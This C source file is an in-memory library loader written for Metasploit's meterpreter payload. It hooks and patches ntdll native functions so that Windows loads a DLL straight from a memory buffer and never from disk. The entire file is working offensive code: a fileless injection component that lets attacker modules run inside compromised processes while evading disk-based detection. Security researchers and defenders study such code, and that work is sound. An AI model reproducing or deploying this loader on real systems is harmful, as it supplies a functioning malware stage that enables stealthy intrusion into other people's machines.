/*
 * libloader -- In-Memory Remote Library Injection shellcode
 * Jarkko Turkulainen <jt[at]klake.org>
 *
 * Platforms: Windows NT4/2000/XP/2003
 *
 * Credits:
 *
 * - skape for ideas, nologin, Metasploit
 *
 *
 * ----
 *
 * This is a modified version of the original that has been slightly changed
 * in order to integrate it with meterpreter.
 */
#include "metsrv.h"
#include <sys/types.h>
#include <sys/stat.h>
#include <stdio.h>

#include "libloader.h"

/* NTSTATUS values */
#define STATUS_SUCCESS 			0x00000000
#define STATUS_IMAGE_NOT_AT_BASE	0x40000003

/* Time values */
#define	HIGH_TIME	0x01C422FA
#define LOW_TIME_1	0x7E275CE0
#define LOW_TIME_2	0x8E275CE0

/* Some defines ripped off from DDK */
typedef struct _FILE_BASIC_INFORMATION {
	LARGE_INTEGER CreationTime;
	LARGE_INTEGER LastAccessTime;
	LARGE_INTEGER LastWriteTime;
	LARGE_INTEGER ChangeTime;
	ULONG FileAttributes;
} FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION;

typedef enum _SECTION_INFORMATION_CLASS {
	SectionBasicInformation,
	SectionImageInformation
} SECTION_INFORMATION_CLASS;

typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS;

typedef LONG NTSTATUS;
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)

typedef struct _IO_STATUS_BLOCK {
	NTSTATUS Status;
	ULONG Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;

typedef struct _UNICODE_STRING {
	USHORT Length;
	USHORT MaximumLength;
#ifdef MIDL_PASS
	[size_is(MaximumLength / 2), length_is((Length) / 2) ] USHORT * Buffer;
#else
	PWSTR  Buffer;
#endif
} UNICODE_STRING;
typedef UNICODE_STRING *PUNICODE_STRING;

typedef struct _ANSI_STRING {
	USHORT Length;
	USHORT MaximumLength;
	PWSTR Buffer;
} ANSI_STRING, *PANSI_STRING, STRING, *PSTRING;

typedef enum _SECTION_INHERIT {
	ViewShare = 1,
	ViewUnmap = 2
} SECTION_INHERIT;

typedef struct _OBJECT_ATTRIBUTES {
	ULONG Length;
	HANDLE RootDirectory;
	PUNICODE_STRING ObjectName;
	ULONG Attributes;
	PVOID SecurityDescriptor;
	PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES;
typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES;

typedef NTSTATUS (NTAPI *f_NtOpenSection)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES);
typedef NTSTATUS (NTAPI *f_NtQueryAttributesFile)(POBJECT_ATTRIBUTES, PFILE_BASIC_INFORMATION);
typedef void (NTAPI *f_NtOpenFile)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES,
		PIO_STATUS_BLOCK, ULONG ShareAccess, ULONG);
typedef NTSTATUS (NTAPI *f_NtCreateSection)(PHANDLE, ULONG, POBJECT_ATTRIBUTES, PLARGE_INTEGER,
		ULONG, ULONG, HANDLE);
typedef NTSTATUS (NTAPI *f_NtMapViewOfSection)(HANDLE, HANDLE, PVOID *, ULONG, ULONG,
		PLARGE_INTEGER, PULONG, SECTION_INHERIT, ULONG, ULONG);
typedef NTSTATUS (NTAPI *f_NtClose)(HANDLE);

typedef struct _SHELLCODE_CTX {

	/* Library name */
	char				libname[256];
	int				liblen;
	/* Global offset */
	DWORD				offset;
	/* Allocated memory sections */
	DWORD_PTR file_address;
	DWORD_PTR mapped_address;
	DWORD				size_map;

	/* Hook stub functions */
	unsigned char			s_NtOpenSection[10];
	unsigned char			s_NtQueryAttributesFile[10];
	unsigned char			s_NtOpenFile[10];
	unsigned char			s_NtCreateSection[10];
	unsigned char			s_NtMapViewOfSection[10];
	unsigned char			s_NtClose[10];

	/* Hooked functions */
	DWORD				NtOpenSection;
	DWORD				NtQueryAttributesFile;
	DWORD				NtOpenFile;
	DWORD				NtCreateSection;
	DWORD				NtMapViewOfSection;
	DWORD				NtClose;

	f_NtOpenSection				p_NtOpenSection;
	f_NtQueryAttributesFile		p_NtQueryAttributesFile;
	f_NtOpenFile				p_NtOpenFile;
	f_NtCreateSection			p_NtCreateSection;
	f_NtMapViewOfSection		p_NtMapViewOfSection;
	f_NtClose					p_NtClose;

} SHELLCODE_CTX;

SHELLCODE_CTX *ctx = NULL;

#pragma comment(lib, "ws2_32.lib")

#pragma warning(disable: 4068)

/*
 * Find library name from given unicode string
 */
int find_string(SHELLCODE_CTX *ctx, UNICODE_STRING *str)
{
	int i, j;

	for (i = 0; i < str->Length; i++)
	{
		for (j = 0; j < ctx->liblen; j++)
		{
			if (str->Buffer[i + j] != ctx->libname[j])
				break;
		}

		/* Match */
		if (j == ctx->liblen)
			return 0;
	}

	return 1;
}

/* NtOpenSection hook */
NTSTATUS NTAPI m_NtOpenSection(
	PHANDLE SectionHandle,
	ACCESS_MASK DesiredAccess,
	POBJECT_ATTRIBUTES ObjectAttributes)
{
	/* Find our context */
	if (!find_string(ctx, ObjectAttributes->ObjectName))
	{
		*SectionHandle = (PHANDLE)ctx->mapped_address;
		return STATUS_SUCCESS;
	}

	return ctx->p_NtOpenSection(SectionHandle, DesiredAccess,
		ObjectAttributes);
}

/* NtQueryAttributesFile hook */
NTSTATUS NTAPI m_NtQueryAttributesFile(
	POBJECT_ATTRIBUTES ObjectAttributes,
	PFILE_BASIC_INFORMATION FileAttributes)
{
	if (!find_string(ctx, ObjectAttributes->ObjectName))
	{
		/*
		 * struct PFILE_BASIC_INFORMATION must be actually filled
		 * with something sane, otherwise it might break something.
		 * The values are defined in libloader.h
		 *
		 */
		FileAttributes->CreationTime.LowPart = LOW_TIME_1;
		FileAttributes->CreationTime.HighPart = HIGH_TIME;
		FileAttributes->LastAccessTime.LowPart = LOW_TIME_2;
		FileAttributes->LastAccessTime.HighPart = HIGH_TIME;
		FileAttributes->LastWriteTime.LowPart = LOW_TIME_1;
		FileAttributes->LastWriteTime.HighPart = HIGH_TIME;
		FileAttributes->ChangeTime.LowPart = LOW_TIME_1;
		FileAttributes->ChangeTime.HighPart = HIGH_TIME;
		FileAttributes->FileAttributes = FILE_ATTRIBUTE_NORMAL;
		return STATUS_SUCCESS;
	}

	return ctx->p_NtQueryAttributesFile(ObjectAttributes, FileAttributes);
}

/* NtOpenFile hook */
void NTAPI m_NtOpenFile(
	PHANDLE FileHandle,
	ACCESS_MASK DesiredAccess,
	POBJECT_ATTRIBUTES ObjectAttributes,
	PIO_STATUS_BLOCK IoStatusBlock,
	ULONG ShareAccess,
	ULONG OpenOptions)
{
	if (!find_string(ctx, ObjectAttributes->ObjectName))
	{
		*FileHandle = (PVOID)ctx->mapped_address;
		return;
	}

	ctx->p_NtOpenFile(
		FileHandle,
		DesiredAccess,
		ObjectAttributes,
		IoStatusBlock,
		ShareAccess,
		OpenOptions);

	return;
}

/* NtCreateSection hook */
NTSTATUS NTAPI m_NtCreateSection(
	PHANDLE SectionHandle,
	ULONG DesiredAccess,
	POBJECT_ATTRIBUTES ObjectAttributes,
	PLARGE_INTEGER MaximumSize,
	ULONG PageAttributes,
	ULONG SectionAttributes,
	HANDLE FileHandle)
{
	if (FileHandle == (HANDLE)ctx->mapped_address)
	{
		*SectionHandle = (PVOID)ctx->mapped_address;
		return STATUS_SUCCESS;
	}

	return ctx->p_NtCreateSection(
		SectionHandle,
		DesiredAccess,
		ObjectAttributes,
		MaximumSize,
		PageAttributes,
		SectionAttributes,
		FileHandle);
}


/* NtMapViewOfSection hook */
NTSTATUS NTAPI m_NtMapViewOfSection(
	HANDLE SectionHandle,
	HANDLE ProcessHandle,
	PVOID *BaseAddress,
	ULONG ZeroBits,
	ULONG CommitSize,
	PLARGE_INTEGER SectionOffset,
	PULONG ViewSize,
	SECTION_INHERIT InheritDisposition,
	ULONG AllocationType,
	ULONG Protect)
{
	if (SectionHandle == (HANDLE)ctx->mapped_address)
	{
		*BaseAddress = (PVOID)ctx->mapped_address;
		*ViewSize = ctx->size_map;

		/* We assume that the image must be relocated */
		return STATUS_IMAGE_NOT_AT_BASE;
	}

	return ctx->p_NtMapViewOfSection(
		SectionHandle,
		ProcessHandle,
		BaseAddress,
		ZeroBits,
		CommitSize,
		SectionOffset,
		ViewSize,
		InheritDisposition,
		AllocationType,
		Protect);
}

/* NtClose hook */
NTSTATUS NTAPI m_NtClose(
	HANDLE Handle)
{

	if (Handle == (HANDLE)ctx->mapped_address)
	{
		return STATUS_SUCCESS;
	}

	return ctx->p_NtClose(Handle);
}

/* Patch given function */
void patch_function(SHELLCODE_CTX *ctx, UINT_PTR address, unsigned char *stub,
		unsigned char *hook)
{
	DWORD				protect;
	ULONG 				bytes;
	SIZE_T              written;
	MEMORY_BASIC_INFORMATION	mbi_thunk;

	/*
	 * Most native NT functions begin with stub like this:
	 *
	 * 00000000  B82B000000        mov eax,0x2b         ; syscall
	 * 00000005  8D542404          lea edx,[esp+0x4]    ; arguments
	 * 00000009  CD2E              int 0x2e             ; interrupt
	 *
	 * In offset 0, the actual system call is saved in eax. Syscall
	 * is 32 bit number (!) so we can assume 5 bytes of preamble size
	 * for each function.. If there's need to hook other functions,
	 * a complete disassembler is needed for preamble size counting.
	 *
	 */
	bytes = 5;

	/* Create the stub */
	WriteProcessMemory((HANDLE)-1, stub, (LPVOID)address,
		bytes, &written);
	*(PBYTE)(stub + bytes) = 0xE9;
	*(DWORD *)(stub + bytes + 1) = (DWORD)((DWORD_PTR)address - ((DWORD_PTR)stub + 5));

	/* Patch original function */

	/* Fix protection */
	VirtualQuery((LPVOID)address, &mbi_thunk,
		sizeof(MEMORY_BASIC_INFORMATION));
	VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize,
		PAGE_EXECUTE_READWRITE, &mbi_thunk.Protect);

	/* Insert jump */
	*(PBYTE)address = 0xE9;
	*(DWORD *)(address + 1) = (DWORD)((DWORD_PTR)hook - ((DWORD_PTR)address + 5));


	/* Restore protection */
	VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize,
		mbi_thunk.Protect, &protect);
	FlushInstructionCache((HANDLE)-1, mbi_thunk.BaseAddress,
		mbi_thunk.RegionSize);

}

/* Install hooks, fix addresses */
void install_hooks(SHELLCODE_CTX *ctx)
{
	f_NtMapViewOfSection lNtMapViewOfSection;
	f_NtQueryAttributesFile lNtQueryAttributesFile;
	f_NtOpenFile lNtOpenFile;
	f_NtCreateSection lNtCreateSection;
	f_NtOpenSection lNtOpenSection;
	f_NtClose lNtClose;
	HMODULE ntdll;

	if (!(ntdll = LoadLibrary(TEXT("ntdll"))))
	{
		return;
	}

	lNtMapViewOfSection = (f_NtMapViewOfSection)GetProcAddress(ntdll, "NtMapViewOfSection");
	lNtQueryAttributesFile = (f_NtQueryAttributesFile)GetProcAddress(ntdll, "NtQueryAttributesFile");
	lNtOpenFile = (f_NtOpenFile)GetProcAddress(ntdll, "NtOpenFile");
	lNtCreateSection = (f_NtCreateSection)GetProcAddress(ntdll, "NtCreateSection");
	lNtOpenSection = (f_NtOpenSection)GetProcAddress(ntdll, "NtOpenSection");
	lNtClose = (f_NtClose)GetProcAddress(ntdll, "NtClose");

	/* NtMapViewOfSection */

	/* Patch */
	patch_function(ctx, (UINT_PTR)lNtMapViewOfSection,
		ctx->s_NtMapViewOfSection,
		(unsigned char *)m_NtMapViewOfSection);

	/* Copy pointer */
	ctx->p_NtMapViewOfSection =
		(f_NtMapViewOfSection)ctx->s_NtMapViewOfSection;

	/* NtQueryAttributesFile */
	patch_function(ctx, (UINT_PTR)lNtQueryAttributesFile,
		 ctx->s_NtQueryAttributesFile,
		(unsigned char *)m_NtQueryAttributesFile);
	ctx->p_NtQueryAttributesFile =
		(f_NtQueryAttributesFile)ctx->s_NtQueryAttributesFile;

	/* NtOpenFile */
	patch_function(ctx, (UINT_PTR)lNtOpenFile, ctx->s_NtOpenFile,
		(unsigned char *)m_NtOpenFile);
	ctx->p_NtOpenFile = (f_NtOpenFile)ctx->s_NtOpenFile;

	/* NtCreateSection */
	patch_function(ctx, (UINT_PTR)lNtCreateSection, ctx->s_NtCreateSection,
		(unsigned char *)m_NtCreateSection);
	ctx->p_NtCreateSection = (f_NtCreateSection)ctx->s_NtCreateSection;

	/* NtOpenSection */
	patch_function(ctx, (UINT_PTR)lNtOpenSection, ctx->s_NtOpenSection,
		(unsigned char *)m_NtOpenSection);
	ctx->p_NtOpenSection = (f_NtOpenSection)ctx->s_NtOpenSection;

	/* NtClose */
	patch_function(ctx, (UINT_PTR)lNtClose, ctx->s_NtClose,
		(unsigned char *)m_NtClose);
	ctx->p_NtClose = (f_NtClose)ctx->s_NtClose;

}

/* Restore given function */
void restore_function(SHELLCODE_CTX *ctx, DWORD_PTR address, unsigned char *stub)
{
	DWORD				protect;
	ULONG 				bytes;
	SIZE_T              written;
	MEMORY_BASIC_INFORMATION	mbi_thunk;

	bytes = 5;

	/* Patch original function */

	/* Fix protection */
	VirtualQuery((LPVOID)address, &mbi_thunk,
		sizeof(MEMORY_BASIC_INFORMATION));
	VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize,
		PAGE_EXECUTE_READWRITE, &mbi_thunk.Protect);

	/* Copy bytes back to function */
	WriteProcessMemory((HANDLE)-1, (LPVOID)address, stub,
		bytes, &written);

	/* Restore protection */
	VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize,
		mbi_thunk.Protect, &protect);
	FlushInstructionCache((HANDLE)-1, mbi_thunk.BaseAddress,
		mbi_thunk.RegionSize);

}

/* Remove hooks */
void remove_hooks(SHELLCODE_CTX *ctx)
{
	f_NtMapViewOfSection lNtMapViewOfSection;
	f_NtQueryAttributesFile lNtQueryAttributesFile;
	f_NtOpenFile lNtOpenFile;
	f_NtCreateSection lNtCreateSection;
	f_NtOpenSection lNtOpenSection;
	f_NtClose lNtClose;
	HMODULE ntdll;

	if (!(ntdll = LoadLibraryA("ntdll")))
	{
		return;
	}

	lNtMapViewOfSection = (f_NtMapViewOfSection)GetProcAddress(ntdll, "NtMapViewOfSection");
	lNtQueryAttributesFile = (f_NtQueryAttributesFile)GetProcAddress(ntdll, "NtQueryAttributesFile");
	lNtOpenFile = (f_NtOpenFile)GetProcAddress(ntdll, "NtOpenFile");
	lNtCreateSection = (f_NtCreateSection)GetProcAddress(ntdll, "NtCreateSection");
	lNtOpenSection = (f_NtOpenSection)GetProcAddress(ntdll, "NtOpenSection");
	lNtClose = (f_NtClose)GetProcAddress(ntdll, "NtClose");

	/* NtMapViewOfSection */
	restore_function(ctx, (DWORD_PTR)lNtMapViewOfSection,
		ctx->s_NtMapViewOfSection);

	/* NtQueryAttributesFile */
	restore_function(ctx, (DWORD_PTR)lNtQueryAttributesFile,
		 ctx->s_NtQueryAttributesFile);

	/* NtOpenFile */
	restore_function(ctx, (DWORD_PTR)lNtOpenFile, ctx->s_NtOpenFile);

	/* NtCreateSection */
	restore_function(ctx, (DWORD_PTR)lNtCreateSection, ctx->s_NtCreateSection);

	/* NtOpenSection */
	restore_function(ctx, (DWORD_PTR)lNtOpenSection, ctx->s_NtOpenSection);

	/* NtClose */
	restore_function(ctx, (DWORD_PTR)lNtClose, ctx->s_NtClose);
}

/* Map file in memory as section */
void map_file(SHELLCODE_CTX *ctx)
{
	PIMAGE_NT_HEADERS 	nt;
	PIMAGE_DOS_HEADER 	dos;
	PIMAGE_SECTION_HEADER	sect;
	int			i;

	dos = (PIMAGE_DOS_HEADER)ctx->file_address;
	nt = (PIMAGE_NT_HEADERS)(ctx->file_address + dos->e_lfanew);

	/*
	 * Allocate space for the mapping
	 * First, try to map the file at ImageBase
	 *
	 */
	ctx->mapped_address = (DWORD_PTR)VirtualAlloc((PVOID)nt->OptionalHeader.ImageBase,
		nt->OptionalHeader.SizeOfImage,
		MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);


	/* No success, let the system decide..  */
	if (ctx->mapped_address == 0) {
		ctx->mapped_address = (DWORD_PTR)VirtualAlloc((PVOID)NULL,
			nt->OptionalHeader.SizeOfImage,
			MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	}

	ctx->size_map = nt->OptionalHeader.SizeOfImage;

	/* Lock the mapping in memory */
	{
		ULONG (_stdcall *NtLockVirtualMemory)(HANDLE, PVOID *, PULONG, ULONG);

		NtLockVirtualMemory = (ULONG (_stdcall *)(HANDLE, PVOID *, PULONG, ULONG))GetProcAddress(
				GetModuleHandleA("ntdll"),
				"NtLockVirtualMemory");

		if (NtLockVirtualMemory)
		{
			PVOID base = (PVOID)ctx->mapped_address;
			ULONG sz = nt->OptionalHeader.SizeOfImage;

			NtLockVirtualMemory(
					(HANDLE)-1,
					&base,
					&sz,
					1);
		}
	}

	/* Write headers */
	WriteProcessMemory((HANDLE)-1, (LPVOID)ctx->mapped_address,
		(LPVOID)ctx->file_address, nt->OptionalHeader.SizeOfHeaders, 0);

	/* Write sections */
	sect = IMAGE_FIRST_SECTION(nt);
	for (i = 0; i < nt->FileHeader.NumberOfSections; i++) {
		WriteProcessMemory((HANDLE)-1,
			(PCHAR)ctx->mapped_address + sect[i].VirtualAddress,
			(PCHAR)ctx->file_address + sect[i].PointerToRawData,
			sect[i].SizeOfRawData, 0);
	}

}

/*
 * Load a library in-memory from the provided buffer.
 */
HMODULE libloader_load_library(LPCSTR name, PUCHAR buffer, DWORD bufferLength)
{
	LPCSTR shortName = name, slash = NULL;
	HMODULE mod = NULL;

	if ((slash = strrchr(name, '\\')))
		shortName = slash+1;

	ctx = (SHELLCODE_CTX *)VirtualAlloc(
			NULL,
			sizeof(SHELLCODE_CTX),
			MEM_COMMIT,
			PAGE_EXECUTE_READWRITE);

	if (!ctx)
		return NULL;

	install_hooks(ctx);

	do
	{
		// The name of the library to load it as
		strncpy_s(ctx->libname, sizeof(ctx->libname), shortName, sizeof(ctx->libname) - 1);
		ctx->liblen = (int)strlen(ctx->libname) + 1;

		// The address of the raw buffer
		ctx->file_address = (DWORD_PTR)buffer;

		// Map the buffer into memory
		map_file(ctx);

		// Load the fake library
		if (!(mod = LoadLibraryA(ctx->libname)))
		{
			break;
		}

	} while (0);

	remove_hooks(ctx);

	VirtualFree(ctx, 0, MEM_RELEASE);

	return mod;
}